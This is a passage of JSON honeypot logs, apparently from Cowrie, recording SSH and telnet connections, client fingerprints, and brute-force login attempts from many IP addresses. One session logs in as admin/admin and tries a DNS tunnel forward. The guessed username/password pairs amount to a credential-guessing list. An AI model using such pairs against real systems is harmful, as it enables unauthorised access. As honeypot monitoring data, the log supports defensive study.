enssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:27.183028Z","src_ip":"87.251.64.176","session":"0bad7092b8b0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:27.469504Z","src_ip":"87.251.64.176","session":"0bad7092b8b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:27.568553Z","session":"0bad7092b8b0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:27.664751Z","src_ip":"87.251.64.176","session":"0bad7092b8b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:27.763347Z","src_ip":"87.251.64.176","session":"0bad7092b8b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.147.249.81","src_port":37222,"dst_ip":"159.203.135.109","dst_port":22,"session":"356f39a199c0","protocol":"ssh","message":"New connection: 45.147.249.81:37222 (159.203.135.109:22) [session: 356f39a199c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:32.848351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:32.853426Z","src_ip":"45.147.249.81","session":"356f39a199c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:32.930641Z","src_ip":"45.147.249.81","session":"356f39a199c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jim","password":"jim","message":"login attempt [jim/jim] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:33.252842Z","src_ip":"45.147.249.81","session":"356f39a199c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:34.330161Z","src_ip":"45.147.249.81","session":"356f39a199c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.70.20","src_port":50462,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f766a74701f","protocol":"ssh","message":"New connection: 202.51.70.20:50462 (10.17.0.5:22) [session: 6f766a74701f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:39.380095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:39.385839Z","src_ip":"202.51.70.20","session":"6f766a74701f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:39.652087Z","src_ip":"202.51.70.20","session":"6f766a74701f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":55140,"dst_ip":"159.203.135.109","dst_port":22,"session":"a73d73584af6","protocol":"ssh","message":"New connection: 109.237.96.109:55140 (159.203.135.109:22) [session: a73d73584af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:40.502529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:40.508995Z","src_ip":"109.237.96.109","session":"a73d73584af6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:40.599345Z","src_ip":"109.237.96.109","session":"a73d73584af6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZwsx123456","message":"login attempt [root/QAZwsx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:40.732701Z","src_ip":"202.51.70.20","session":"6f766a74701f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"scoobydoo","message":"login attempt [root/scoobydoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:40.869925Z","src_ip":"109.237.96.109","session":"a73d73584af6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:41.966738Z","src_ip":"109.237.96.109","session":"a73d73584af6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:41.997634Z","src_ip":"202.51.70.20","session":"6f766a74701f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":44404,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c453fd1da07","protocol":"ssh","message":"New connection: 194.113.233.25:44404 (10.17.0.5:22) [session: 0c453fd1da07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:45.359430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:45.364109Z","src_ip":"194.113.233.25","session":"0c453fd1da07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:45.448210Z","src_ip":"194.113.233.25","session":"0c453fd1da07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12356790","message":"login attempt [root/12356790] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:45.700613Z","src_ip":"194.113.233.25","session":"0c453fd1da07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:46.787749Z","src_ip":"194.113.233.25","session":"0c453fd1da07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49242,"dst_ip":"159.203.135.109","dst_port":23,"session":"df2ad5af9bb2","protocol":"telnet","message":"New connection: 135.148.14.151:49242 (159.203.135.109:23) [session: df2ad5af9bb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:50.822990Z"}
{"eventid":"cowrie.session.closed","duration":0.0061702728271484375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:50:50.829052Z","src_ip":"135.148.14.151","session":"df2ad5af9bb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.80.232.39","src_port":46942,"dst_ip":"10.17.0.5","dst_port":22,"session":"a950211d90ae","protocol":"ssh","message":"New connection: 117.80.232.39:46942 (10.17.0.5:22) [session: a950211d90ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:51:22.123728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:51:22.128908Z","src_ip":"117.80.232.39","session":"a950211d90ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:51:22.363996Z","src_ip":"117.80.232.39","session":"a950211d90ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p0o9i8u7y6t5","message":"login attempt [root/p0o9i8u7y6t5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:51:24.023952Z","src_ip":"117.80.232.39","session":"a950211d90ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52862,"dst_ip":"159.203.135.109","dst_port":23,"session":"29864992fed7","protocol":"telnet","message":"New connection: 135.148.14.151:52862 (159.203.135.109:23) [session: 29864992fed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:51:26.360100Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52416,"dst_ip":"159.203.135.109","dst_port":23,"session":"b52f82912af7","protocol":"telnet","message":"New connection: 135.148.14.151:52416 (159.203.135.109:23) [session: b52f82912af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:51:28.441121Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":56506,"dst_ip":"10.17.0.5","dst_port":22,"session":"e87c01f1a901","protocol":"ssh","message":"New connection: 103.77.242.62:56506 (10.17.0.5:22) [session: e87c01f1a901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:51:36.467399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:51:36.471708Z","src_ip":"103.77.242.62","session":"e87c01f1a901","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:51:36.725630Z","src_ip":"103.77.242.62","session":"e87c01f1a901","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liverpoo","message":"login attempt [root/liverpoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:51:37.490715Z","src_ip":"103.77.242.62","session":"e87c01f1a901","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:51:38.747732Z","src_ip":"103.77.242.62","session":"e87c01f1a901","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":38956,"dst_ip":"10.17.0.5","dst_port":22,"session":"b50be6e3eece","protocol":"ssh","message":"New connection: 185.236.22.41:38956 (10.17.0.5:22) [session: b50be6e3eece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:51:55.373733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:51:55.379482Z","src_ip":"185.236.22.41","session":"b50be6e3eece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:51:55.493817Z","src_ip":"185.236.22.41","session":"b50be6e3eece","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kjkszpj123","message":"login attempt [root/kjkszpj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:51:55.834672Z","src_ip":"185.236.22.41","session":"b50be6e3eece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:51:56.951381Z","src_ip":"185.236.22.41","session":"b50be6e3eece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.264771938323975,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:00.705768Z","src_ip":"135.148.14.151","session":"b52f82912af7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.860137701034546,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:03.220111Z","src_ip":"135.148.14.151","session":"29864992fed7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":36436,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb7bd80e6ab2","protocol":"ssh","message":"New connection: 80.94.92.171:36436 (10.17.0.5:22) [session: fb7bd80e6ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:52:07.822682Z"}
